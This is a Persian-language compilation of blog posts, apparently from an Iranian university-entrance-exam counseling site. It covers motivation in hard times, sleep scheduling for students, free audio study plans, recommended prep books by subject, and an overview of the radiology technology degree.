دور زدن مشکلات در کمترین زمان

به خاطرات خوش گذشته بیندیشید، گاهی انسان در سختی‌ها و مشکلات، گذشته‌ی خود را نادیده می‌گیرد و احساس می‌کند همیشه در بدبختی و سختی بوده است، یادآوری خاطرات خوش گذشته، منبع الهام بخشی برای «حال» پراندوه است که می‌تواند ما را از فشار کنونی نجات دهد.
اگر در زندگیتان ، با مشکل بزرگی رو به رو شوید چه می‌کنید؟ آیا از آن نوع انسان‌های با اراده هستید که در برابر طوفان سر بلند می‌کنند و بر خلاف جریان آب ، با قدرت شنا می‌کنند؟ و یا از آن دسته از انسان‌ها که دائم غر می‌زنند و این و آن را مقصر اصلی مشکلات زندگیشان می‌دانند و زمین و زمان را محکوم می‌کنند؟ و یا جزو گروهی هستید که دست روی دست می‌گذارند و امیدشان را از دست می‌دهند و آه می‌کشند؟
جزو هر گروهی که هستید ، به هر فرهنگ و آیینی که اعتقاد دارید، در موقع بروز مشکلات، رشته حیاتتان را از دست ندهید،امیدتان را از دست ندهید.
امید داشتن، باور به نتیجهء مثبت اتفاقها یا شرایط، در زندگی می‌باشد. امید احساسی است درباره اینکه می‌توانیم آنچه را که میخواهیم، داشته باشیم یا یک اتفاق، بهترین نتیجه را برای ما خواهد داشت.

دوست داشته باشید یا نه، شرایط سخت در زندگی همه پیش می‌آید. شاعر می‌گوید:

در این دنیا دل بی غم نباشد                    اگر باشد بنی آدم نباشد

ممکن است کارتان را از دست بدهید، در زندگی مشترکتان شکست بخورید، یا دچار بیماری شوید. در این شرایط سخت هر چه که باشد، خیلی مهم است که امیدتان را از دست ندهید. باید امید داشته باشید که از این شرایط سخت عبور می‌کنید. اگر اینطور نباشد، فقط خودتان را ناامید و دلسرد خواهید کرد. وارد چرخه شومی می‌شوید که رویکرد منفی‌تان، اوضاع را حتی بدتر کرده و منفی‌تر خواهد شد. نباید اجازه دهید این اتفاق برای شما بیفتد. خودتان را برای شرایط سخت آماده کنید تا وقتی برایتان پیش آمد، راحت‌تر برخورد کنید.

هزاران نفر، بلکه میلیونها نفر بوده اند که در شرایطی به مراتب سختتر و دشوارتر از شما قرار داشتند، شما نه اولین نفری هستید که این مشکلات را دارید و نه آخرین آنها، جوانتر که بودم، وقتی برای مشکلاتم غصه می خوردم و به زمین و زمان بد می گفتم، مادرم می گفت: اوه ، آفتاب که به سرت نو نشده، واقعا هم این خورشید عالم تاب، از آن بالا، شاهد بسیاری از این داستان ها و قصه ها در این زمین پهناور بوده است.

اما اگر با مشکل ناامیدی در زندگی رو به رو هستید از طریق راهکارهایی می توانید امید از دست رفته ی خود را باز یابید.

مثلا اولویت بندی اهداف، بدون شک در ابعاد بسیاری از زندگی می‌خواهیم پیشرفت کنیم. اما بدیهی است نمی‌توانیم همه چیز را با هم انجام دهیم. به عنوان مثال در موقعیت فعلی روابط تان با اطرافیان برای شما مهم‌تر است یا داشتن شغل مناسب یا بهره‌مندی از سلامت جسمی؟! باید حیطه‌های مهم‌تر را تعیین کنید و اهداف واقع بینانه‌ای، که توان رسیدن به آن‌ها را دارید انتخاب کنید.
اگر قرار باشد هدف‌ها انرژی بدهند و ما را فعال‌تر کند، لازم است چالش برانگیز و مهیج باشند. بدین منظور باید هدف‌ها را طوری تعیین کنیم که مشخص، قابل اندازه گیری، قابل پیگیری، واقع بینانه و با محدودیت‌های زمانی مناسب باشند.
عبور از موانع، هر وقت برای رسیدن به اهداف تلاش می‌کنیم، احتمال وقوع اتفاقات پیش‌بینی نشده وجود دارد و لازم است خود را از قبل برای کنار آمدن با آن‌ها آماده کنیم. بدین منظور می‌توان از قبل درباره‌ی موانع احتمالی و روش‌های مدیریت آن‌ها اندیشید و مهارت‌های لازم را آموخت فراموش نکنید وجود موانع هرگز بهانه‌ی خوبی برای دست کشیدن از تلاش نیستند.

افکار منفی را خود دور کنید، معمولاً وقتی در زندگی با مشکلی رو به رو می‌شویم، درباره‌ی شخصیت و توانایی‌های‌مان افکار منفی به ذهن‌مان هجوم می‌آورند، اما در رویارویی با سختی‌ها و مشکلات لازم است آن‌ها را بیشتر ناشی از ضعف در مهارت‌ها بدانیم تا کمبود در هوش و استعداد، بدین ترتیب با جدا سازی و بیرونی کردن دلایل شکست، افکار منفی را از خود دور می‌کنیم و زندگی غنی‌تر رضایت بخش‌تر و امیدوارانه‌تری خواهیم داشت.

به خاطرات خوش گذشته بیندیشید، گاهی انسان در سختی‌ها و مشکلات، گذشته‌ی خود را نادیده می‌گیرد و احساس می‌کند همیشه در بدبختی و سختی بوده است، یادآوری خاطرات خوش گذشته، منبع الهام بخشی برای «حال» پراندوه است که می‌تواند ما را از فشار کنونی نجات دهد.
به آینده بیندیشید، مشکلات پیش رو تا ابد همراه فرد نخواهند ماند و بالاخره روزی به پایان خواهند رسید بنابراین بهتر است چشم انتظار لحظه‌های روشن و سبز باشید و به آینده و موفقیت‌های دلپذیر آن بیشتر بیندیشید.

به خودتان پاداش بدهید، گاهی اوقات ممکن است سختی‌ها و مشکلات انگیزه‌ی لازم برای ادامه‌ی مسیر را از فرد بگیرد و او را دلسرد و ناامید کند. برای جلوگیری از این ناامیدی سعی کنید به خاطر دستیبابی به اهداف کوچک‌تر که مقدمه‌ی اهداف بزرگ‌تر هستند به خود پاداش دهید و به این ترتیب انگیزه‌ی لازم برای حرکت به سمت اهداف بزرگ را زنده نگهدارید.

زندگی نامه‌ی افراد موفق را مطالعه کنید، با بررسی زندگی نامه‌ی افراد موفق در می‌یابیم یکی از علل مهم موفقیت آن‌ها این است که در سخت‌ترین شرایط زندگی، امید به موفقیت را از دست نداده‌اند، بارها و بارها شکست خورده‌اند و تلاش کرده‌اند.

تنظیم ساعت خواب

درفصل بهار اکثر دانش اموزان بامشکل خواب روبرو هستند 

تنظیم ساعت خواب یکی از مهمترین راهکارهای درست برای مشکل پرخوابی زیاد و خواب الودگی درطول روز و مطالعه بوده که به این طریق شما میتوانید مشکلات خواب الودگی روزانه بخصوص خواب زیاد درطول روز را تنظیم کنید

ازقدیم گفتند که بهارو خوابش!!   این مثل از ان جهت گفته شده که باطولانی بودن روز بعداز  کار صبحگاهی یک  وعده خواب روزانه در تایم ظهر بعد از صرف نهار میتواند انرژی مضاعفی برای ادامه فعالیت روزانه به انسان بدهد.

اما باید درنظر داشت که این خواب همیشه هست

شما سال های گذشته هم درطول شبانه روز میخوابیدید.وسالهای انده نیز همینگونه ست اما تنها چیزی که دیگر باقی نمیماند کنکور و درس شماست.

همین الان به شش ماه گذشته مطالعاتی خود دقت کنید اگر روزی یک ساعت بیشتر و مفید تر مطالعه میکردید الان وضعیت حاضر که نارضایتی مطالعاتی و عدم تسلط کافی  جامع روی مباحث را نداشتید 

این مشکل عمده ایست که اکثرشماها دارید درطول روز درس را میخوانید اما مطالعه نمیکنید بین خواندن و مطالعه کردن تفاوت وجود دارد خواندن Read در انگلیسی نامیده میشود اما مطالعه کردن را study  می گویند. اما مطالب روزنامه را میخوانیم اما مطالعه جهت یادگیری نمیکنیم. درعوض مطالب کتاب درسی را مطالعه میکنیم که حاصل ان به یادگیری بیانجامد.

 

فایل صوتی زیر یک پروسه ۱۰-۲۱ روزست که نحوه ی تنظیم مشکل خواب زیاد و خواب الودگی را برایتان حل میکند.

جهت دانلود فایل اموزشی کلیک کنید.

برنامه ریزی رایگان ازمون گزینه دو

به نام ناظم بهترین نظم ها

سلام وقت بخیر به تمامی داوطالبان کنکور ۹۷

براساس روال همیشگی اکادمی مشاوره برنامه صد بعد از هر ازمون برنامه ریزی رایگان ویژه ازمون بعدی بصورت فایل صوتی دراختیار شما قرار خواهد گرفت.

**از دلایل اینکه این برنامه ریزی ها بصورت فایل صوتی تهیه میشود اینست که با توجه به بودجه بندی هر ازمون میتوان توضیحاتی درخصوص برنامه ریزی و نکات مشاوره ای در ذیل برنامه ریزی با توضیحات کامل در اختیار شما قرار بگیرد.

وهمچنین در این فایل ها استاد محمدی باتوجه به بودجه بندی های مخصوص هر درشته توصیه ها و سفارش ها و نکات تحصیلی/اموزشی./ومشاوره ای و انگیزشی نیز برای دانش اموزان خواهند داشت.

همواره درنظر داشته باشید که این انتقاد وارد است که نمیتوان یک برنامه و نسخه را برای همه تجویز کرد اما لازم بذکرست که این فایل ها و برنامه ها همانطور که در تمامی فایل ها در طول این سال ها گفته میشود بصورت کاملا پیشنهادی بوده که باتوجه به نکات و توضیحات ارایه شده دانش اموزان باید انهارا باتوجه به تایم کلاسها و برنامه های خود شخصی سازی کنند.

و از مزایای این برنامه ریزی نسبت به برنامه ریزی های کاغذای پیشنهادی توسط برخی موسسات و افراد مشاور نماو سودجو اینست که اولا این برنامه ها تا خوده کنکور کاملا رایگان بوده و ثانیا انعطاف پذید بوده که دانش اموز میتواند انرا برای خود شخصی سازی کند

و ثالثا اینکه دانش اموز میتواند بعد از گذشت چند ازمون نکات و الگوی های یک برنامه ریزی شخصی را برای خود اجرا و پیاده سازی کند.

پس در اینجا لازم است که مجددا چند نکته زیر تکرار شود.

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲:برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳: ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴:رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵:دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.


برنامه ریزی رایگان ازمون های گام اول (تابستان ۹۶) گزینه دو

برنامه ریزی ازمون ۲۰ مرداد

برنامه ریزی ازمون ۶ مرداد

برنامه ریزی ازمون ۲۳ تیر

معرفی منابع ویژه کنکور۹۷

 

باسلام خدمت شما دوستان عزیز

باتوجه به شروع سال تحصیلی جدید و تبلیغات پرزرق و برق انتشارات های مختلف برای کتاب های مختلف کنکوری و غیر کنکوری موسسات مختلف دی وی دی های مختلف 

و همچنین باتوجه به اینکه مقالات مختلفی از افراد و سایت های مختلف برای معرفی منابع  مختلف که درهردرس کدوم بهترو اینحرفا وگاها کسانی که اصلا حتی کتاب بررسی نکرده  ونگاهی هم ننداختن و صرفا براساس توضیحات خوده سایت و گاها پرس و جو از چندنفر اقدام به معرفی کتاب ها میکنند.

 دراینجا من تصمیم گرفتم بعد ازمطالعه تمامی این مقالات و بررسی تک تک کتابهای مختلف کنکور که هرساله ویرایش های جدید هرکدومو از لحاظ های مختلف مثل سطح تستی کتاب نوع درسنامه ها قابل فهم بودن و…و… و ازهمه مهمتر کتابهایی که قبلا امتحان خودشونو پس دادن کتابهایی که درطی سال های مختلف تحصیلی دانش آموزان ازشون استفاده کردند و نتیجه مثبت گرفتند بهتن معرفی کنم تا شما هم ازانتخابتون مطمعن بشید و اشتباهی که هرساله خیلی ازبچه ها دراول تابستون مبنی براینکه قریب ۴۰۰-۵۰۰هزارتومن پول کتاب میدهند و دراخر میفهمنو که منبعشونو درست انتخاب نکردند.

پس بادقت و آگاهانه انتخاب کنید.

kar - Copy

لازم بذکره که حتما بهتون بگم بهترین و اصلح ترین کار اینه که حتما با یه مشاور خبره و حرفه ای که کتابهای درسی رو مطالعه و بررسی کرده باشه و ازمحتویاتش خبرداشته باشه قبل ازانجام خرید کتاب مشورت کنید و وضعیت خودتونو بامشاور درمیون بذارید و بعد باتوجه به وضعیت کتاب متناسب خودتونو انتخاب کنید. 

 

توضیحی کلی درخصوص سطح کتابها درانتشارات مختلف:

گاج:کتابهای نقره ای و میکرو طبقه بندی شده ی گاج برای دانش اموزانی مناسبه کهمتوسط هستند تشریحیشون خوبه و میخوان خودشونو توی تست زدن قوی کنند. یه بانک تست به تمام معناست.اما درسنامه های گاج بدلیل کمی بد مطالبو توضیح داده قابل فهم برای همه نیست.ولی باید گفت که کتابهای خط ویژه اش واقعا خوبه

خیلی سبز: تاسال ۱۳۹۲-۹۳ درطی یک دهه کتابهای این انتشارات قوی ترین درسنامه ها رو دربین تمامی کتب اموزشی دیگه داشت.بخصوص با لحن شیرین و بامزه خودش قابل فهمتر و ساده و روان مطالب توضیح داده اما خب باید گفت که دربعضی جاها زیاده گویی هم کردهاما بااین وجود چون درهرساله ویرایش جدیدش آپدیت میشه جز بروز ترین هاست.

مبتکران:این انتشارات به لطف کتب شیمی خودش خیلی معروف شد.اما مثل خیلی سبز کمی قدیمی هستش تستهای خط به خطش و زیاد و فایده ای نداره و حتی گاها ممکن سطح دانش اموز پایین بیاره و باعث بشه دانش اموزا باعادت کردن به این تستهای اسون فاقد ارزش سوالی کتنبل بشه. 

نشرالگو:این انتشارات به کتابهای سطح بالا معروفه و تست ها و درسنامه هایی که دارند سطحشو کمی برای دانش اموزان متوسط و ضعیف مناسب نیست.

قلم چی:این انشارات کتبهای مختلفی برای سطح های مختلف دانش اموزان تالیف کرده.که هرکدوم بدی ها و خوبی های خاص خودشونو دارند بطور مثال کتابهای پرتکرار  برای دانش اموزانی که سطح کیفی و آموزشی دبیرشون خوب نیست و نتونستند درسی و یاد بگیرید خوبه.آبی قلم چی صرفا کتاب تست هستش و به نوعی بانک تست محسوب میشه و برای تراز های ۵۷۰۰ به بالا مناسبه.کتاب سه سطحی هم برای تراز ۶۲۰۰ به بالاها متناسبه اما باید گفت که یه سری کتاب جدید امسال قبم چی زده که وقتی دیدمش واقعا عاشقش شدم اونم کتابهای سبز کانون هستند این کتاب ها امسال اولین سالی هستش که وارد بازار شده. درسنامه های خیلی قوی بدون هرگونه زیاده گویی  داره که حتما توصیه میکنم برای درسهای اختصاصی خودتون حتما یکی تهیه کنید همتون بخصوص اونهایی که ضعیف هستیدو دبیرخوبی ندارید براش.

مهروماه:مهروماه هم دقیقا مثل قلم چی تیپ های مختلف کتاب هارو زده. کتابهای زردش که ویژه جمع بندی هستند و برای ایم فروردین تا کنکور دانش اموزا حتما لازمه براشون.کتاب معجزه این انتشارات هم که به تازگی در دودرس فعلا به چاپ رسیده استقبالش بینظیر بوده و بشخصه ازاین کتاب خیلی خوشم اومده.این انتشارات به کتابهایی باقیمت پایین معروفه که سطح خرید برای اکثردانش اموزا فراهم میکنه.لقمه های مهروماه هم که برای جمع بندی کاملا مناسبن

تخته سیاه:این انتشارات تاسال ۹۳ خیلی فعال بود اما خب بعدازاون یجورایی کم کار شد زیاد اسم و کتابهاش بین دانش اموزان بجزچندتایی مثل زیست و تانک تست و… معروف نبودن که باتوجه به این نمیشه فعلا درباره اش اظهار نظر کرد. 

فار:این انتشارات تازه پا به عرصه گذاشته و انصافا هم وقتی اومد ازهمون اول طوفان کرد کتاب آزمون های شیمی فار یکی از بهترین منبع تست و ارزیابی باسطح تستهایی استاندارد و بالاست بخصوصو واسه قوی ها خیلی مناسبه

توی نمایشگاه کتاب تهران هم کتاب ازمون زیست جمع بندیشو که تازه همونروز به بازار اومده بود شخصا دیدم که اونم دقیقا مثل شیمیش خوب بود. این کتاب رو میتونید برای جمع بندی هایی قوی بخصوص تو فصل بهار سال اینده استفاده کنید.

فاگوزیست:یکی دیگه از کتابهای تازه به چاپ رسیده است که محبوبیت بینظیری بین کنکوری ها بدست آورده که انصافا کتابش فوق العادست بخصوص برای کسانی که کلا نتونستند با درس زیست ارتباط برقرار کنند عالی هستش.ولی باید بگم که فاگوزیست برای دانش آموزان سال دوم و سوم و پشت کنکوری خوب هستش. چون فاگوزیست یک کتاب مفهومی است و حجم بالایی داره ولی برای دانش آموزان کنکوری(سال چهارمی ها) به علت حجم زیاد آن توصیه نمی شه. فاگوزیست کتابی با نکات ریز و موشکافانه است و در سال های پایه برای یادگیری مفهومی زیست بسیار مناسب است.

پس باتوجه به توضیحاتی که درباره ی سطح کتابهای موسسات و انتشارات مختلف بهتون دادم میتونید ازلیست زیر که بهترین های انتشارات در هر درسی هستند استفاده کنید.

معرفی کتب درسهای عمومی:

ادبیات

باتوجه به اینکه ادبیات درسی موضوعی هستش انتشارات مختلف کتابهای مختلفی درقالب ۵ موضوع کامل ویا بصورت جداگانه به چاپ رسوندند.

کتاب ادبیات ۵ گنج مهروماه- ادبیات جامع گاج-و  موضوعی نشر الگو رو بهتون پیشنهاد میکنم

عربی:

اگر عربیتون در حد قابلیه میتونید از کتاب عربی جامع خیلی سبز تالیف خانم غزال موسوی استفاده کنید
ولی باید بگم که حتما حتما از دی وی دی عربی گاج  که قیمت ارزانی هم داره همتون استفاده کنید  بخصوص اگر کلا یه کلمه از عربی سردرنمیارید این دی وی دی ها واقعا براتون خوبه

برای اطلاعات بیشتر درباره ی این دی وی دی ها اینجا کلیک کنید

دینی

کتاب آیات نکات گاج پیشنهاد میکنم.کتاب گاج نقره ای بدلیل حجم زیادی که داره اکثر دانش اموزارو  ازاین درس بیزار میکنه ولی درعوض این کتاب براشون خوبه

زبان انگلیسی

گاج جامع میکرو طبقه بندی انگلیسی 

همچنین دی وی دی زبان گاج هم دقیقا مثل عربیش خوب و قابل قبوله.

 

 

معرفی کتب اختصاصی رشته های مختلف:

شیمی:

کتاب فیل شیمی-خط ویژه شیمی – وشیمی خیلی سبز دانش موزان سطح بالا نشر الگو- سبز کانون

 

فیزیک:

معجزه فیزیک مهروماه-گنجینه فیزیک مهروماه-آبی قلم چی- فیزیک جامع تجربی انتشارات خیلی سبز – و سبز کانون

 

زیست:

معجزه زیست مهروماه- کتابهای فاگوزیست – سبز کانون 

ریاضی

ریاضیات جامع تجربی مهروماه-و یا ریاضیات جامع خیلی سبز

ریاضیات پایه و دیفرانسل دانش آموزان قوی و متوسط کتاب تخته سیاه استاد مهربان یا نشر الگودانش آموزان متوسط و متوسط رو به پایین سبز کانون 

هندسه پایه و تحلیلی
منبع آموزشی و تستی
منبع آموزشی و تستی ساده: قلم چی
منبع آموزشی و تستی خوب و عالی:فار
منابع آموزشی قوی:الگو
جبر و ریاضیات گسسته
کتاب های نشر الگو،خوشخوان،خیلی سبز 
زمین شناسی:
هفت چیز خیلی سبز ویا کتابهای لقمه کوچیک مهروماه
رشته انسانی
دانش آموزان رشته انسانی دقت بکنند که ادبیات سوم و زبان فارسی سوم اون ها با ادبیات عمومی تجربی ریاضی ها متفاوته پس برای لغت کتاب کلک معلم رو تهیه بکنن و زبان فارسی هم زبان فارسی انسانی مهر و ماه چون حساسیت راجب منابع انسانی زیاده اینجا متنی راجبش شرح میدم
 
علوم اجتماعی
برای علوم اجتماعی میتونید کتاب آبی کانون رو کار بکنید کتاب خیلی خوبی هستش
تاریخ و جغرافیا
از همین ابتدای سال کتاب های سیب مهر ماه که خلاصه نویسی شده هستند استفاده کنید
ادبیات اختصاصی
از کتاب گاج نقره ای حتما استفاده کنید+ منبع خلاصه نویسی شده تاریخ ادبیات: سیب مهر ماه
ریاضیات
گاج نقره ای در صورت داشتن ضعف آبی کانون
اقتصاد
سیب مهر ماه و خیلی سبز رو با هم کار کنید سیب به عنوان درسنامه و خیلی سبز هم به عنوان تست
روان شناسی
جامع خیلی سبز کار کنید خیلی کتاب خوبیه
فلسفه و منطق
مشاوران آموزش استاد تمنا 
عربی اختصاصی
برای عربی اختصاصی عربی اختصاصیِ خیلی سبز رو کار کنید تالیف استاد برغمدی
در پایان چندنکته باید بگم بهتون که
اکثر این کتابها رو میتونید درسایت خوده انتشارات که ادرسشونو براتون گذاشتم فایل پی دی اف قسمتهاییشونو دانلود کنیدو ازهرکدوم که خوشتون اومد اونو تهیه کنید.
اگر خرید اینترنتی درسایت خوده انتشارات ها داشته باشید ۲۰ درصد تخفیف میگیرید که درمجموع قیمت کل کتابها تخفیف های زیاد و مبلغ قابل توجهی میشه و سه چهارروزه هم دستتون میرسه
ودراخرهم  باز تاکید میکنم حتما قبل از خرید با یک مشاور خبره و زبردست که باتوجه به نیازهاتون بهتون کتابهایی که مورد نیازتونه بهتون معرفی کنه.

چنانچه سوالی درخصوص برنامه ریزی و داشتید در همین تاپیک کامنت بذارید.

بدلیل تماسها و مشاوره ها قادر به پاسخگویی سوالاتتون از طریق پیامک ویا تماس تلفنی نیستم لطفا توی همین پست کامنت بذارید

پاسختونو تا شب دریافت کنید.

معرفی رشته رادیولوژی+رتبه لازم

کارشناسی تکنولوژی پرتوشناسی

هدف و ماهیت

با تولد این تکنولوژی، بشر از پوست و گوشت گذشت و به اعماق شگفت‌انگیز بدن انسان راه یافت و توانست اجزای بدن را بیشتر در معرض دید و بررسی قراردهد.سخن از دانش‌ رادیولوژی تشخیصی است که در سال‌های اخیر بسرعت پیشرفت کرده و امکانات تشخیص پزشکی را به طور غیرقابل تصوری به پیش رانده است. بی‌شک به کارگیری این دانش‌، نیاز به تخصص ویژه‌ دارد؛

تخصصی که در رشته تکنولوژی پرتوشناسی آموزش داده می‌شود. به عبارت دیگر، رشته تکنولوژی پرتوشناسی، نحوه تصویربرداری از اعضای مختلف بدن را برای تشخیص پزشکی آموزش می‌دهد.دانشجویان این رشته در ابتدا دروس پایه از قبیل فیزیک، آناتومی و فیزیولوژی را مطالعه می‌کنند و سپس دروس تخصصی تصویربرداری پزشکی را می‌آموزند و در همین زمینه با دستگاه‌های تصویربرداری و نحوه کارشان آشنا می‌شوند و پس از ۲ سال می‌توانند به عنوان کاردان تصویربرداری، در بخش‌های رادیولوژی شروع به کار کنند.گفتنی است که اگر مسؤول تکنولوژی رادیولوژی، آموزش لازم را ندیده باشد علاوه بر اینکه پرتوگیری بیمار را بالا می‌برد و به او آسیب می‌رساند، تصاویر مناسبی نیز از اعضای بدن تهیه نمی‌کند. در نتیجه، دکتر رادیولوژیست نمی‌تواند تفسیر مناسبی از تصاویر داشته و از روی آنها تشخیص پزشکی دهد.

تفاوت توانمندی‌های کاردان و کارشناس این رشته نیز در آن است که در تکنولوژی پرتوشناسی از دستگاه‌های متفاوتی استفاده می‌شود و از اعضای مختلف بدن تصویربرداری می‌گردد. برخی از این تصویربرداری‌ها ساده است؛ مثل تصویربرداری از دست، پا و انگشتان، اما برخی از تصویربرداری‌ها تداخلی است؛ مثل تصویربرداری از سیستم‌ گوارش، عروق و ادرار که این‌گونه‌ تصویربرداری‌ها، اختصاصی و نسبتاً دشوار می‌باشد و نیاز به دانش ویژه دارد. در این میان تصویربرداری‌های ساده بر عهده فارغ‌التحصیلان کاردانی و تصویربرداری‌های تخصصی و کار با دستگاه‌های M.R.I و C.P بر عهده فارغ‌التحصیلان کارشناسی است.

عمل تصویر برداری از اندام های مختلف بدن را که توسط اشعه ایکس انجام می شود رادیوگرافی میگویند که از دو کلمه رادیو به معنی اشعه وکلمه گرافی به معنی ثبت کردن میباشد.

کارشناسی رادیولوژی:

برنامه آموزشی مقطع کارشناسی پیوسته و ناپیوسته ,در راستای تربیت کارشناسان پرتو شناسی با توانمندی مناسب جهت استفاده از دستگاه ها و فناوری های جدید در زمینه تصویر برداری پزشکی طراحی شده است .در این دوره دانشجویان تجارب نظری و بالینی در زمینه های مختلف تصویربرداری از روش های ساده و روتین رادیوگرافی تا تکنیک های پیشرفته تصویربرداری از جمله توموگرافی کامپیوتری,تصویربرداری با تشدید مغناطیسی هسته اتم( MRI)،فراصوت و…را بدست آورد. فراگیران طی دوره کارشناسی علاوه برآنکه جنبه های عمومی قانون مراقبت از بیماررافرا می گیرند بایدقوانین مربوط به حفاظت در برابر اشعه رانیزفرابگیرندتا بتواننددر اتاق های رادیوگرافی با کمترین مقداراشعه، تصویربرداری نمایند . دانشجویان در طی دوره کارشناسی با تکنیک های تصویربرداری ودستگاه های تصویربرداری آشنا می شوند ونحوه انجام تکنیکها تصویربرداری ساده تا تصویر برداری پیشرفته (شامل سیستم های دیجیتال ,CT,MRI,سونوگرافی های مدرن و… را فرامی گیرند. انجام پرتونگاری ها با استفاده از مواد کنتراست زای تزریقی و غیر تزریقی تحت نظارت پزشک متخصص و انجام روش های اختصاصی تصویر برداری پزشکی مانند مشارکت در انجام آنژیوگرافی ها و BMD وانجام تمامی امور مربوط به تاریکخانه رادیولوژی و همین طور همکاری و شرکت در فعالیت های پژوهشی پرتوشناسی در زمینه های تشخیصی و درمانی را فرا می گیرند.

توانایی‌های لازم :

کار رادیولوژیست، یک کار بیمارستانی است. از همین رو دانشجوی این رشته باید حس کار در بیمارستان و با بیماران را داشته باشد. همچنین باید بتواند درس‌هایی را که در طول تحصیل به صورت تئوری فرا گرفته، در کار عملی مورد استفاده قرار دهد و در نهایت لازم است که در درس‌های زیست‌شناسی، ریاضی و فیزیک توانمند باشد. تسلط به درس‌های ریاضی و فزیک تا جایی مهم است که برخی از استادان رادیولوژی معتقدند که دانشجوی این رشته باید از بین داوطلبان گروه آزمایشی ریاضی و فنی انتخاب گردد. زیرا بدون آگاهی از اصول فیزیک که بر مبنای آن، کار تصویر‌برداری انجام می‌گیرد، امکان اشتباه در این کار وجود دارد.

موقعیت شغلی در ایران :

کار رادیولوژیست در مقطع کاردانی و کارشناسی یک کار اجرایی است. البته کاردان این رشته بیشتر تصویربرداری ساده مثل تصویربرداری از دست، پا و انگشتان را انجام می‌دهد و کارشناسان این رشته تصویربرداری اختصاصی یا تصویربرداری تداخلی مانند تصویربرداری از دستگاه گوارش یا عروق را بر عهده دارند. در ضمن کار با دستگاه‌هایی مثل توموگرافی و MRI در محدوده فعالیت کارشناس این رشته است.در کل فارغ‌التحصیلان کاردانی این رشته در مؤسسه‌های تصویرنگاری و بیمارستان‌ها می‌توانند به عنوان مسؤول آماده‌سازی دستگاه‌های مختلف رادیوگرافی، انجام عمل رادیولوژی، ظهور و ثبت کلیشه‌های رادیوگرافی فعالیت کنند.

آینده شغلی :

۱-انجام دوره طرح نیروی انسانی بعد از اتمام دوره کارشناسی به مدت دو سال ( به کارگیری نیروهای فارغ التحصیل در مراکز درمانی دولتی جهت آینده شغلی )

۲- جذب در مراکز درمانی مانند بیمارستانها اعم از دولتی یا خصوصی ، درمانگاهها ، کلینیک های رادیولوژی و سایر مراکز تصویر برداری

آینده تحصیلی :

فارغ التحصیلان دوره کارشناسی تکنولوژی پرتوشناسی تشخیصی قادر خواهند بود :

پس از فراغت از تحصیل در دوره کارشناسی ارشد و بالاتر در رشته های فیزیک پزشکی,رادیوبیولوژی وحفاظت پرتویی و آناتومی ادامه تحصیل دهند.

درس‌های این رشته در طول تحصیل:

طول دوره وشکل نظام :

متوسط طول دوره کارشناسی پیوسته رادیولوژی ۴ سال وکارشناسی ناپیوسته ۲ سال می باشد.نظام آموزش آن مطابق آیین نامه آموزشی دوره کاردانی,کارشناسی ناپیوسته و کارشناسی پیوسته مصوب شورای عالی برنامه ریزی, علوم پزشکی می باشد.دروس به صورت علمی وعملی- نظری وکارآموزی عرضه میشود که در طی جلسات متعدد هفتگی آموزش مورد نیاز انجام می یابد

تعداد واحد دوره کارشناسی پیوسته رادیولوژی:

  1. دروس عمومی: ۲۲ واحد
  2. دروس پایه واختصاصی: ۹۲ واحد
  3. کارآموزی در عرصه : ۱۶ واحد

تعداد واحد دوره کارشناسی ناپیوسته رادیولوژی:

  1. دروس عمومی : ۹ واحد
  2. دروس پایه واختصاصی: ۴۴ واحد
  3. کارآموزی در عرصه : ۱۲ واحد

 

دروس پایه:

فیزیک عمومی، تشریح، فیزیولوژی انسان، بهداشت عمومی

دروس اصلی:

کمک‌های اولیه و مراقبت از بیمار در بخش پرتوشناسی، تشریح استخوان و مفاصل، اصطلاحات پرتوشناسی و ترمینولوژی پزشکی.

دروس تخصصی:

فیزیک پرتوها، فیزیک پرتوشناسی تشخصیص، رادیوبیولوژی و حفاظت در برابر پرتوهای یون‌ساز، روش‌های پرتوگاری، رادیوگرافی با ماده حاجب، اصول تاریکخانه، اصول نگهداری و تعمیرات مقدماتی دستگاه‌های پرتوشناسی، ارزیابی تکنیکی فیلم‌های پرتونگاری، کارآموزی بیمارستانی.

نکته: در اعلام سرفصل دروس این رشته از سایت وزارت علوم استفاده شده است.این سرفصل صرفا جهت آشنایی کلی با محتوای دروس است و احتمال تغییرات جزیی وجود دارد.

 

 

دروس عمومی رشته رادیولوژی

